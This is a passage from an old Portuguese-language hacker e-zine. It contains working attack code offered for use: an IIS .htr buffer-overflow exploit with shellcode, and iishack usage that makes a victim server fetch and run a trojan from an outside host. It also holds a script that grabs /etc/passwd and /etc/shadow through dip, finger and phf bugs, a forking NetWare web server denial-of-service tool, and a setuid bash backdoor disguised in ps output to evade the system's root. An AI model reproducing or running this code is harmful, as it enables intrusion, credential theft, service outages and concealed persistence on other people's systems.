"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "\x41\x41\x41\x41\x41\x41\xb0\x87\x67\x68\xb0\x87" "\x67\x68\x90\x90\x90\x90\x58\x58\x90\x33\xc0\x50" "\x5b\x53\x59\x8b\xde\x66\xb8\x21\x02\x03\xd8\x32" "\xc0\xd7\x2c\x21\x88\x03\x4b\x3c\xde\x75\xf4\x43" "\x43\xba\xd0\x10\x67\x68\x52\x51\x53\xff\x12\x8b" "\xf0\x8b\xf9\xfc\x59\xb1\x06\x90\x5a\x43\x32\xc0" "\xd7\x50\x58\x84\xc0\x50\x58\x75\xf4\x43\x52\x51" "\x53\x56\xb2\x54\xff\x12\xab\x59\x5a\xe2\xe6\x43" "\x32\xc0\xd7\x50\x58\x84\xc0\x50\x58\x75\xf4\x43" "\x52\x53\xff\x12\x8b\xf0\x5a\x33\xc9\x50\x58\xb1" "\x05\x43\x32\xc0\xd7\x50\x58\x84\xc0\x50\x58\x75" "\xf4\x43\x52\x51\x53\x56\xb2\x54\xff\x12\xab\x59" "\x5a\xe2\xe6\x33\xc0\x50\x40\x50\x40\x50\xff\x57" "\xf4\x89\x47\xcc\x33\xc0\x50\x50\xb0\x02\x66\xab" "\x58\xb4\x50\x66\xab\x58\xab\xab\xab\xb1\x21\x90" "\x66\x83\xc3\x16\x8b\xf3\x43\x32\xc0\xd7\x3a\xc8" "\x75\xf8\x32\xc0\x88\x03\x56\xff\x57\xec\x90\x66" "\x83\xef\x10\x92\x8b\x52\x0c\x8b\x12\x8b\x12\x92" "\x8b\xd7\x89\x42\x04\x52\x6a\x10\x52\xff\x77\xcc" "\xff\x57\xf8\x5a\x66\x83\xee\x08\x56\x43\x8b\xf3" "\xfc\xac\x84\xc0\x75\xfb\x41\x4e\xc7\x06\x8d\x8a" "\x8d\x8a\x81\x36\x80\x80\x80\x80\x33\xc0\x50\x50" "\x6a\x48\x53\xff\x77\xcc\xff\x57\xf0\x58\x5b\x8b" "\xd0\x66\xb8\xff\x0f\x50\x52\x50\x52\xff\x57\xe8" "\x8b\xf0\x58\x90\x90\x90\x90\x50\x53\xff\x57\xd4" "\x8b\xe8\x33\xc0\x5a\x52\x50\x52\x56\xff\x77\xcc" "\xff\x57\xec\x80\xfc\xff\x74\x0f\x50\x56\x55\xff" "\x57\xd8\x80\xfc\xff\x74\x04\x85\xc0\x75\xdf\x55" "\xff\x57\xdc\x33\xc0\x40\x50\x53\xff\x57\xe4\x90" "\x90\x90\x90\xff\x6c\x66\x73\x6f\x66\x6d\x54\x53" "\x21\x80\x8d\x84\x93\x86\x82\x95\x21\x80\x8d\x98" "\x93\x8a\x95\x86\x21\x80\x8d\x84\x8d\x90\x94\x86" "\x21\x80\x8d\x90\x91\x86\x8f\x21\x78\x8a\x8f\x66" "\x99\x86\x84\x21\x68\x8d\x90\x83\x82\x8d\x62\x8d" "\x8d\x90\x84\x21\x78\x74\x70\x64\x6c\x54\x53\x21" "\x93\x86\x84\x97\x21\x94\x86\x8f\x85\x21\x94\x90" "\x84\x8c\x86\x95\x21\x84\x90\x8f\x8f\x86\x84\x95" "\x21\x88\x86\x95\x89\x90\x94\x95\x83\x9a\x8f\x82" "\x8e\x86\x21\x90\x98\x8f\x4f\x86\x99\x86\x21" /* stick it in here */ "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21" "\x21\x21\x21" ".htr HTTP/1.0"; void usage (void) { printf ("usage: ./tesoiis host port url\n"); exit (EXIT_FAILURE); } int main (int argc, char *argv[]) { /* yadda,yadda.. you can try expl oiting our exploit!! * update: hmm.. is this expl.able? gets EIP touched by exit()? * gotta check this later... */ char host[256], url[256]; int port,sd,t = 0; int m = 0; char *cc, *pfft; struct sockaddr_in cs; printf ("teso crew IIS exploit.. shellcode by eEye.\n"); printf ("------------------------------------------\n"); if (argc < 4) usage(); strcpy (host, argv[1]); strcpy (url, argv[3]); port = atoi (argv[2]); if ((port < 1) || (port > 65535)) usage(); cc = url; pfft = front + URL_OFFSET; while (*cc) { if (*cc == '/' && 0 == t) { memcpy (pfft, stuff, 6); pfft += 6; t = 1; } else { *pfft = *cc + 0x21; pfft++; } cc++; m += 1; } printf ("Host: %s Port: %d Url: %s\n", host, port, url); printf ("Connecting... "); fflush (stdout); sd = net_connect (&cs, host, port, NULL, 0, 30); if (sd < 1) { printf ("failed!\n"); exit (EXIT_FAILURE); } printf ("done.. sending shellcode.."); fflush (stdout); net_write (sd, "%s\n\n", front); printf ("done.. closing fd!\n"); close (sd); printf ("%s\n", front); exit (EXIT_SUCCESS); } int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip, unsigned short int sourceport, int sec) { int n, len, error, flags; int fd; struct timeval tv; fd_set rset, wset; /* first allocate a socket */ cs->sin_family = AF_INET; cs->sin_port = htons (port); fd = socket (cs->sin_family, SOCK_STREAM, 0); if (fd == -1) return (-1); if (!(cs->sin_addr.s_addr = net_resolve (server))) { close (fd); return (-1); } flags = fcntl (fd, F_GETFL, 0); if (flags == -1) { close (fd); return (-1); } n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); if (n == -1) { close (fd); return (-1); } error = 0; n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); if (n < 0) { if (errno != EINPROGRESS) { close (fd); return (-1); } } if (n == 0) goto done; FD_ZERO(&rset); FD_ZERO(&wset); FD_SET(fd, &rset); FD_SET(fd, &wset); tv.tv_sec = sec; tv.tv_usec = 0; n = select(fd + 1, &rset, &wset, NULL, &tv); if (n == 0) { close(fd); errno = ETIMEDOUT; return (-1); } if (n == -1) return (-1); if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { len = sizeof(error); if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { errno = ETIMEDOUT; return (-1); } if (error == 0) { goto done; } else { errno = error; return (-1); } } } else return (-1); done: n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); return (fd); } unsigned long int net_resolve (char *host) { long i; struct hostent *he; i = inet_addr(host); if (i == -1) { he = gethostbyname(host); if (he == NULL) { return (0); } else { return (*(unsigned long *) he->h_addr); } } return (i); } void net_write (int fd, const char *str, ...) { char tmp[8192]; va_list vl; int i; va_start(vl, str); memset(tmp, 0, sizeof(tmp)); i = vsnprintf(tmp, sizeof(tmp), str, vl); va_end(vl); send(fd, tmp, i, 0); return; } -----------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx----------- .---------------------. | Como funciona? `-----------------------------------------. `=================-=-====--==-=-=-===----==---=-=---=-=--- -- - - Simples, ele abre uma determinada porta no sistema. Apos isso, eh soh mandar um telnet para a porta que foi aberta. h0h0h0... ridihculo neh? .-----------------. | Como usar? `---------------------------------------------. `=================-=-====--==-=-=-===----==---=-=---=-=--- -- - - Aqui eh a melhor parte! [ iishack ] Num entendeu nada eh? entaun seguinte.. segue o exemplo: \=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\=\= $ iishack www.vitima.com 80 http://members.xoom.com/~crucyfic/ncx99.exe ------(IIS 4.0 remote buffer overflow exploit)--------------------------------- (c) dark spyrit -- barns@eeye.com. http://www.eEye.com [usage: iishack ] eg - iishack www.example.com 80 www.myserver.com/thetrojan.exe do not include 'http://' before hosts! ------------------------------------------------------------------------------- Data sent! /=/=/=/=/=/=/=/=/=/=/=/=/=/=/=/=/=/=/=/=/=/=/=/=/=/=/=/=/=/=/=/=/=/=/=/=/=/=/= Acabou? Nao! Apos voce ter feito isso.. espere um tempinho(eh o tempo da mahquina fazer o download do trojan.) Aih pronto!!! $ telnet www.vitima.com XXX OBS: XXX deve ser a porta aberta pelo trojan Microsoft(R) Windows NT(TM) (C) Copyright 1985-1996 Microsoft Corp. C:\> --------------------------- EnCrIpTy encripty@starmedia.com `'`'`'`' `'`'`'`'`'`'`'`'`'`'`' -=[ 8 ]=- .--------------. | = Macintosh = \____________________________________________________________ `----------------------------------------------------------------------------' by Cacaio Como dito na ultima edicao, falarei mais sobre Macintosh. Voces ja devem ter visto alguns concursos para hackear um mac e ganharem um premio, mas ninguem consegue. E' o normal, mas se a maquina vier como vem de fabrica, sem alteracao nenhuma, qualquer pessoa estaria apta a pegar qualquer arquivo da maquina remota... Lembram-se do phf? No caso do mac, e' o AppleScript. Por meio dele, por exemplo, e' possivel pegar um arquivo de banco de dados do FileMaker Pro. Se for usado o AppleScript junto ao Lasso (www.blueworld.com/lasso)... imaginem... Na edicao 08 voce viu uma lista de arquivos, e nesta voce vai ver uma lista de vulnerabilidades do Macintosh. +---------------+ | Bug do MacDNS | +---------------+ Caso alguma maquina rodando o MacDNS seja bombardeada com varios pedidos ao mesmo tempo, em alta velocidade, o MacDNS nao funcionara' mais (ate' ser rodado novamente). +-----------------------+ | DoS por port overflow | +-----------------------+ Maquinas MacOS com System 7.1 e 7.8, quando recebem um port scan, travam. No 7.1 a maquina realmente trava e no 7.8 a utilizacao do CPU vai a 100%. A solucao e' pegar o OpenTransport 1.2. +-----------+ | DiskGuard | +-----------+ O DiskGuard e' um programa que restringe acesso a diretorios, arquivos e drives. Na versao 1.5.3 o acesso nao e' liberado nem com a autenticacao. O que acontece? Ninguem consegue acessar o que foi restringido. Solucao: pra que procurar? O problema e' bem antigo.. upgrades... +-----------+ | MacOS 8.0 | +-----------+ Se voce instalar o MacOS 8.0 em cima de outra versao mais recente (quem faria isso?), a protecao por senhas nao ira' funcionar. +-------------------+ | Network Assistant | +-------------------+ Pouca gente troca a senha do Network Assistant, a qual ja vem setada por default. Se voce esquecer de trocar, qualquer usuario remoto que saiba a senha default estara' apto a atacar sua maquina. Ah, to cansado de falar sobre mac. Vou parando por aqui. Cacaio cacaio@deathknights.com `'`'`' `'`'`'`'`'`'`'`'`'`'`'` -=[ 9 ]=- .------------. | = Getpass = \______________________________________________________________ `----------------------------------------------------------------------------' by Cacaio Este script foi primeiramente desenvolvido por Cheat Struck e aperfeicoado por mim. So' funciona em sistemas jurassicos (por que foi feito a muito tempo e so' agora vou publica-lo). La vai ele... -----------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx----------- #!/bin/sh GREEN="" RED="" BLUE="" RESET="" WHITE="" clear function conferir { if [ -f .finfile.tmp ]; then dwssap=$(cat .finfile.tmp) else clear echo "" echo "" echo "" echo "$WHITE Escolha o arquivo no qual os resultados ficarao armazenados" echo " e pressione ." echo "" echo "$RESET Caso nenhum nome seja dado, o programa nao funcionara' corretamente." echo "" echo "" rm -rf .finfile.tmp >>/dev/null read dwssap echo $dwssap >>.finfile.tmp clear fi } function inicio { echo "$RED Escolha sua opcao para tentar pegar o passwd:" echo "" echo "$WHITE Obs: edite o arquivo $dwssap e veja o resultado :)" echo "" echo "$GREEN 1. $WHITE Via cat /etc/passwd" echo "$GREEN 2. $WHITE Via cat /etc/shadow" echo "$GREEN 3. $WHITE Via cat /etc/yppasswd" echo "$GREEN 4. $WHITE Via ypcat passwd" echo "$GREEN 5. $WHITE Via link + dip $BLUE (passwd)" echo "$GREEN 6. $WHITE Via link + dip $BLUE (shadow)" echo "$GREEN 7. $WHITE Via finger $BLUE (passwd)" echo "$GREEN 8. $WHITE Via finger $BLUE (shadow)" echo "$GREEN 9. $WHITE Via phf" echo "$WHITE -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-" echo "$GREEN 10. $WHITE Sobre o programa" echo "$GREEN 11. $WHITE Trocar o arquivo de resultados" echo "$GREEN 12. $WHITE Sair do programa $RESET" read choice case $choice in 1) echo "Via cat /etc/passwd:" >>$dwssap; cat /etc/passwd >>$dwssap; echo "--- F I M ---" >>$dwssap; echo "$RED Concluido!$RESET Resultado no arquivo $dwssap." sleep 2 clear inicio ;; 2) echo "Via cat /etc/shadow:" >>$dwssap; cat /etc/shadow >>$dwssap; echo "--- F I M ---" >>$dwssap; echo "$RED Concluido!$RESET Resultado no arquivo $dwssap." sleep 2 clear inicio ;; 3) echo "Via cat /etc/yppasswd:" >>$dwssap; cat /etc/yppasswd >>$dwssap; echo "--- F I M ---" >>$dwssap; echo "$RED Concluido!$RESET Resultado no arquivo $dwssap." sleep 2 clear inicio ;; 4) echo "Via ypcat passwd:" >>$dwssap; ypcat passwd.byname >>$dwssap; echo "--- F I M ---" >>$dwssap; echo "$RED Concluido!$RESET Resultado no arquivo $dwssap." sleep 2 clear inicio ;; 5) echo "Via link + dip [passwd]:" >>$dwssap; ln -s /etc/passwd /tmp/dummy.dip cd /sbin ./dip -v /tmp/dummy.dip >>$dwssap; rm /tmp/dummy.dip echo "--- F I M ---" >>$dwssap; echo "$RED Concluido!$RESET Resultado no arquivo $dwssap." sleep 2 clear inicio ;; 6) echo "Via link + dip [shadow]:" >>$dwssap; ln -s /etc/shadow /tmp/dummy.dip cd /sbin ./dip -v /tmp/dummy.dip >>$dwssap; rm /tmp/dummy.dip echo "--- F I M ---" >>$dwssap; echo "$RED Concluido!$RESET Resultado no arquivo $dwssap." sleep 2 clear inicio ;; 7) echo "Via finger [passwd]" >>$dwssap; ln -s /etc/passwd .fingerlog finger login@localhost >>$dwssap; rm .fingerlog echo "--- F I M ---" >>$dwssap; echo "$RED Concluido!$RESET Resultado no arquivo $dwssap." sleep 2 clear inicio ;; 8) echo "Via finger [shadow]" >>$dwssap; ln -s /etc/passwd .fingerlog finger login@localhost >>$dwssap; rm .fingerlog echo "--- F I M ---" >>$dwssap; echo "$RED Concluido!$RESET Resultado no arquivo $dwssap." sleep 2 clear inicio ;; 9) echo "Via phf" >>$dwssap; cd /var/httpd/cgi-bin ./phf -m alias=x /bin/cat /etc/passwd >>$dwssap; ./phf -m alias=x /bin/cat /etc/shadow >>$dwssap; echo "--- F I M ---" >>$dwssap; echo "$RED Concluido!$RESET Resultado no arquivo $dwssap." sleep 2 clear inicio ;; 10) clear echo "" echo "$WHITE $0 construido por Cacaio Torquato$RESET $WHITE ." echo "$WHITE O $0 e' somente uma modificacao do codigo do HackScript, construido" echo "$WHITE por Cheat Struck. " echo "" echo "" echo "$RESET Este script tenta conseguir o$RED /etc/passwd$RESET e/ou o$RED /etc/shadow$RESET ." echo " Estes metodos podem ser considerados -lammahs- por alguns, mas se voce" echo "considera estes metodos -lammahs-, por que se interessou neste script?" echo "Voce nem precisa dele! :P" echo "" echo "$BLUE http://www.deathknights.com http://members.xoom.com/cszine" echo "" echo "" echo "$GREEN Pressione ..." read waiting clear inicio ;; 11) clear echo "" echo "" echo "" echo "$WHITE Escolha o arquivo no qual os resultados ficarao armazenados" echo " e pressione ." echo "" echo "$RESET Caso nenhum nome seja dado, o programa nao funcionara' corretamente." echo "" echo "" rm -rf .finfile.tmp >>/dev/null read dadex echo $dadex >>.finfile.tmp clear dwssap=$(cat .finfile.tmp) inicio ;; 12) exit 0 ;; *) clear echo "$WHITE $choice: opcao invalida para este programa." inicio ;; esac } conferir inicio exit 0 -----------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx----------- Cacaio cacaio@deathknights.com `'`'`' `'`'`'`'`'`'`'`'`'`'`'` -=[ 10 ]=- .------------------------------. | = DoS en webservers NetWare = \____________________________________________ `----------------------------------------------------------------------------' by Cacaio Este DoS so' funcionam em algumas versoes. Algumas versoes que aceitam o DoS: - Novell NetWare 4.11 with Novell-HTTP-Server/3.1R1: - Novell NetWare 4.1 with Novell-HTTP-Server/2.51R1: - Novell NetWare ?.? with YAWN/1.05 (crc:E8B0): O uso do programa e' o seguinte: ./programa -----------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx----------- /***************************************************************************** Novell NetWare webservers remote denial of service *****************************************************************************/ #include #include #include #include #include #include #include #include #define GET "GET" #define PAT1 "/" #define PAT2 "a/" #define PAT3 "../" #define PAT4 "./" long getip(char *name) { struct hostent *hp; long ip; if ((ip=inet_addr(name))==-1) { if ((hp=gethostbyname(name))==NULL) { perror("gethostbyname"); exit(1); } memcpy(&ip, (hp->h_addr), 4); } return ip; } int main (argc, argv) int argc; char **argv; { struct sockaddr_in cli; int sockfd, i, x, len; char *msg1, *msg2, *msg3, *msg4; if (argc < 5) { (void)fprintf(stderr, "usage: %s \n", argv[0]); exit(0); } bzero(&cli, sizeof(cli)); cli.sin_family = AF_INET; cli.sin_addr.s_addr=getip(argv[1]); cli.sin_port = htons(atoi(argv[2])); len = atoi(argv[4]); if (len < (sizeof(GET)+1+sizeof(PAT1))) { (void)fprintf(stderr, "len too small.\n"); exit(1); } msg1 = (char *) malloc(len+sizeof(GET)+sizeof(PAT1)+1); msg2 = (char *) malloc(len+sizeof(GET)+sizeof(PAT1)+1); msg3 = (char *) malloc(len+sizeof(GET)+sizeof(PAT1)+1); msg4 = (char *) malloc(len+sizeof(GET)+sizeof(PAT1)+1); sprintf(msg1, "%s %s", GET, PAT1); sprintf(msg2, "%s %s", GET, PAT1); sprintf(msg3, "%s %s", GET, PAT1); sprintf(msg4, "%s %s", GET, PAT1); for(i=0;i<(len/sizeof(PAT1));i++) strcat(msg1, PAT1); for(i=0;i<(len/sizeof(PAT2));i++) strcat(msg2, PAT2); for(i=0;i<(len/sizeof(PAT3));i++) strcat(msg3, PAT3); for(i=0;i<(len/sizeof(PAT4));i++) strcat(msg4, PAT4); for(i=0;i<(atoi(argv[3]));i++) if (!(x=fork())) { if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("socket"); exit(1); } if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0) { perror("connect"); exit(1); } write(sockfd, msg1, strlen(msg1)); close(sockfd); if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("socket"); exit(1); } if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0) { perror("connect"); exit(1); } write(sockfd, msg2, strlen(msg2)); close(sockfd); if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("socket"); exit(1); } if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0) { perror("connect"); exit(1); } write(sockfd, msg3, strlen(msg3)); close(sockfd); if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("socket"); exit(1); } if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0) { perror("connect"); exit(1); } write(sockfd, msg4, strlen(msg4)); close(sockfd); exit(0); } waitpid(x,&i,0); exit(0); } -----------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx----------- Cacaio cacaio@deathknights.com `'`'`' `'`'`'`'`'`'`'`'`'`'`'` -=[ 11 ]=- .-----------------------------------. | = HENIX (Hacking Emulator uNIX) = \_______________________________________ `----------------------------------------------------------------------------' by Cheat Struck Hey all!!! Agora quando voce nao estiver conectado, e estiver de windows (ou seja, no limite da depressao), ja existe algo pra voce brincar e ao mesmo tempo apren- der. Tratase do meu mais novo programa: O Henix. Ta!!! Mas o que e' HENIX??? Nao eh nenhum sistema operacional como voce pode interpretar pelo nome. Mas sim um emulador de sistemas unix, e alem disto, ele tem a finalidade de ensinar a "hackear" na pratica. Ele foi projetado em Turbo Pascal 6 para MSDOS. A principio estava afim de fazer um simples emulador, so para eu me divertir nas horas de folga. Mas ja existem tantos por ae... Entao decidi fazer algo a mais neste emulador. Coloquei certos bugs que se encontram em Linuxes para que assim, o programa tenha alguma funcao. Dentro do emulador voce vai encontrar os arquivos basicos de unix, e tambem ira' encontrar arquivos dos quais hackers se aproveitam para exploitar o sistema e assim obter nivel de root. Seu objetivo no Henix eh obter o ROOT LEVEL. Podem existir certas coisas que lhe deem o passwd ou shadow, mas voce soh finalizara o programa ao ganhar o querido "#". Quando voce roda o Henix, tudo o que encontra la e' virtual, sendo assim nao pense que ao executar um telnet, voce realmente esta fazendo isso e pode usa-lo em qualquer host. O henix e' conhecido pelo pessoal como "joguinho" por possuir varios niveis de dificuldade. Para passar de nivel neste "joguinho" voce deve encontrar bugs, exploits, backdoors, ou seja la o que for preciso para obter root no sistema. Assim, alem de voce aprender, tambem pode medir seus conhecimentos em certos pontos que podem ser vulneravies como sendmail, rlogin e outras coisas, para que quando chegue a "hora da verdade", voce ja saiba o que fazer. Agora, como usar o henix de modo proveitoso? Deve ter alguma coisa para se aproveitar neste programa neh? Vejamos o que os litos podem fazer com isso.... [METODO DESTRUTIVO] O procedimento do henix ao se executar um comando eh executar o SH.EXE em busca dos comandos basicos e caso o comando nao seja encontrado no SH.EXE este eh chamado no KERNEL.EXE. Como o KERNEL.EXE eh trocado varias vezes, qualquer um pode colocar um trojan na internet dizendo que eh um kernel de henix. E assim quando o usuario for rodar o henix com akele kernel, o trojan sera executado e ae fode tudo. Para evitar isso, pegue os kernels unicamente na page oficial. [METODO CRIATIVO] Combine o henix com o netcat e assim voce pode criar tipow um daemon de telnet para seus friends. [METODO ALUCINOGENICO] Duh! Ponha o henix para rodar no AUTOEXEC.BAT, assim toda a vez que voce iniciar o computador, vai parecer que voce entrou num sistema UNIX. Faca isso la no computador do seu amigo lamo q sempre quiz ter unix. Ae diga prele que instalou o bicho. heheh Se o kra for um pouco + esperto, faca um diquete de boot, copie o henix pra la, e no autoexec coloque todos aqueles baguio desde o LILO BOOT ate o carre- gamento do henix. Da pra convencer uns idiotas. Bah! Nao to afim de pensar, por isso use a sua imaginacao para saber como usar o henix de um modo bem criativo. Se quize mais coisas sobre o henix leia o readme q vem junto com ele. Ou se tiver afim de mais coisas pegua os textos que taum la na secaum DOCUMENTS na page oficial do henix e engula-nos. Ta agora tomae o seguinte FAQ do HENIX... [0x0] P: Ei mano, se eu executar o henix ele vai modificar ou colocar alguma coisa? R: O Henix vai rodar como um programa normal, e nao modificara nada. Os unicos arquivos que ele ira colocar sao os .HE's que serao resetados ao sair do henix. [0x1] P: O que coloco no login e tal ? R: Isso faz parte do jogo. De uma olhada no release que voce podera ter algumas ideias de logins e senhas. O henix segue o mesmo padrao de Error Login dos Unixes. Quando voce erra o login aparece a mensagem de erro e ocorre um ClrScr. Quando erra somente a senha, so aparece a mensagem de erro. [0x2] P: Ta, mais que jogo ? R: Tipo... o henix eh um emulador que foi projetado para voce hackea-lo. Quando voce Hackeia o nivel corrente (leia o manual que vem junto ao Henix) vc deve atualizar o kernel para que tenha sempre novos desa- fios e assim continuamente. [0x3] P: Por que foi lancado um UPDATE do kernel 1.4.1?? R: Porque ele saiu meio que as pressas e com erro. O erro era que ele nao listava o diretorio /var. Entao o PATCH foi lancado. [0x4] P: Da pra lancar so uma dicazinha ae?? R: Pra quem nao souber mais o que fazer, basta ir a page oficial do henix e pegar o arquivo dicas.txt onde mostra todos os truques para hackear o henix. Mas so leia o texto se voce nao souber mais o que fazer ou o jogo perde a graca. [0x5] P: Como eu posso fazer pra ajudar neste projeto?? R: Alem de sempre divulgar o programa, seria legal eu receber emails de pessoas que entendam de Turbo Pascal com dicas para melhorar o de- sempenho do programa ou ate trechos de codigo para adicionar, etc. Bem... era isso. O henix esta disponivel em : http://struck.8m.com . Cheat Struck cheat@struck.8m.com `'`'` `'`'`' `'`'`'`'`'`'`'`'`'` -=[ 12 ]=- .------------------------. | = Mascarando Comandos = \__________________________________________________ `----------------------------------------------------------------------------' by Cheat Struck Mascarar comandos em unix eh algo relativamente facil para quem ja tem uma boa base de programacao em C. Vou tentar explicar neste texto como fazer um programa que mascare sua identidade no ps em uma linguagem meio leiga para que todos (inclusive os nao codeadores de C) entendam como isso funciona. Vejamos o seguinte programa: ----------back.c (cut here)----------- /* Backdoor por Cheat Struck http://www.deathknights.com http://struck.8m.com Compile com: gcc -o back back.c */ main(int argc, char *argv[]) { system("/bin/bash"); } ----------back.c (cut here)----------- Esse programa executara uma shell (bash) apenas. Se este programa estiver marcado com setuid (de root) servira como uma backdoor. Digamos q este progra- ma compilado chame-se "back". Entao num ps ele apareceria como: PID TTY STAT TIME COMMAND 3227 pty2 R 0:00 back E entao chega o root do sistema e executa aquela porra e descobre uma back- door em seu sistema. Em seguida ele a apaga (claro). O nome do comando executado (back) que voce ve la no ps equivale a string argv[0] do programa. Veja: main(int argc, char *argv[]) A variavel argv setado no main() equivale ao nome do programa e seus atribu- tos. Por exemplo: $ back -e -l -v fuckoff argv[0] = back argv[1] = -e argv[2] = -l argv[3] = -v argv[4] = fuckoff Espero que voce tenha entendido isso pois nao vou ficar explicando essas coisas basicas de C. Se voce nao entendeu olhe novamente o exemplo mas dessa vez preste atencao seu imbecil. Agora o que queremos aqui eh mascarar o argv[0] (back) para que o palhaco do r00t nao descubra o que voce esta executando. Para isso nos usamos o coman- do strcpy que tem como funcao copiar um valor a uma determinada string. Sendo assim podemos fazer o seguinte: strcpy(argv[0],"fuck"); Entao ao invez de obtermos "back" como retorno no ps nos teremos "fuck". Lembre-se: argv[0] equivale ao nome do programa executado. Assim nossa backdoor mascarada ficaria com o source assim: ----------back.c (cut here)----------- /* Backdoor mascarada por Cheat Struck http://www.deathknights.com http://struck.8m.com Compile com: gcc -o back back.c */ main(int argc, char *argv[]) { strcpy(argv[0],"fuck"); system("/bin/bash"); } ----------back.c (cut here)----------- Ao executar a backdoor, digite ps para ver o resultado. Viu?? Ficou facil de entender agora neh? Obs: Os programas mostrados aki saum por demais simples e nao coloquei os headers (#include blahblah) para tornar a coompresao deles mais simples ainda. Cya l8er !!!!! Cheat Struck cheat@struck.8m.com `'`'` `'`'`' `'`'`'`'`'`'`'`'`'` -=[ 13 ]=- .---------------------------. | = Alguns Lances de Linux = \_______________________________________________ `----------------------------------------------------------------------------' by Cheat Struck Nao tem nada de mais nessa materia. Eu apenas estou escrevendo isso para ensinar algumas coisas bem interessantes sobre linux. Leia isso pois eh capaz de voce aprender alguma coisa que ainda nao saiba. Como interromper e reiniciar programas com o Ctrl+Z =================================================== Duh!Duh!Duh! Tinha uns maneh ae que acham q sao gurus em linux soh que quando nao conse- guiam sair de um programa da maneira correta (seja dando ctrl+C ou escolhendo a opcao Exit) simplesmente davam um crtl+Z. Ae voce pode notar que quando entrar com o comando exit vai receber uma msg de que alguns JOBS ainda estao rodando na shell. Eu pretendo explicar nessa materia como usar o ctrl+z de forma "produtiva". Exemplo: # ./foo /* O que vemos aki eh um programa sendo inter- (Ctrl+Z) * rompido pelo ctrl+z */ [1]+ Stopped foo # jobs /* O comando jobs mostra os "trabalhos" que [1]+ Stopped foo * foram interrompidos. */ # fg %1 /* Reinicia o trabalho numero 1 */ (Ctrl+Z) /* Interrompemos novamente [1]+ Stopped foo */ # kill %1 /* Killamos o trablho [1]- Stopped foo */ Dei um exemplo bem concreto heim. Se voce nao entendeu leia denovo. Os comentarios estao entre /* */ Se voce nao percebeu. Usando o comando alias ====================== Este comando eh muito usado principalmente nos /etc/bashrc ou ~/.bashrc ou cshrc e por ae vai. Ele serve para voce definir atalhos para comandos. Exemplo: alias rm="rm -i" /* Serve para que quando vce executar o rm * ele pergunta se vc tem certeza de que quer * deletar o arquivo. Ou seja: quando voce der * um "rm file" sera como "rm -i file". * Se voce quizer deixar isso com um aspecto * mais "Se eu digitei isso eu tenho certeza" * pode fazer alias rm="rm -rf" . Arquivos core ============= Bah! Isso soh ocupa espaco nao eh mesmo??? Voce pode setar o tamanho destes arquivos em algumas shells como csh. Exemplo: # limit coredumpsize 1000 Onde 1000 eh o tamanho maximo que o arquivo pode ter. Agora no minimo uma vez por mes voce vai ter que checar estes arquivos para apaga-los pois soh estao atrapalhando. Certo??? Exemplo: # find / \( -name core \) -xdev Voce vai obter uma lista dos cores em seu sistema. Nao repara nao pois isso demora um pouco dependendo da sua maquina. Administrando seus usuarios =========================== Para mudar caracteristicas dos usuarios tipow shell, nome, empresa, telefone e essas coisas encontradas no /etc/passwd basta usar alguns comandos para a administracao de usuarios. Ae estao... Exemplos: # adduser struck /* Adicionamos o usuario struck */ # passwd struck /* Isso poe uma senha pro usuario struck New password: * Ate entao sua senha era substituida Retype new password: * por um x o que impidia sua conexao */ passwd: all authentication tokens updated successfully # chfn struck /* Isso serve para mudar informacoes Changing finger information for struck. * exibidas no finger como: Name []: 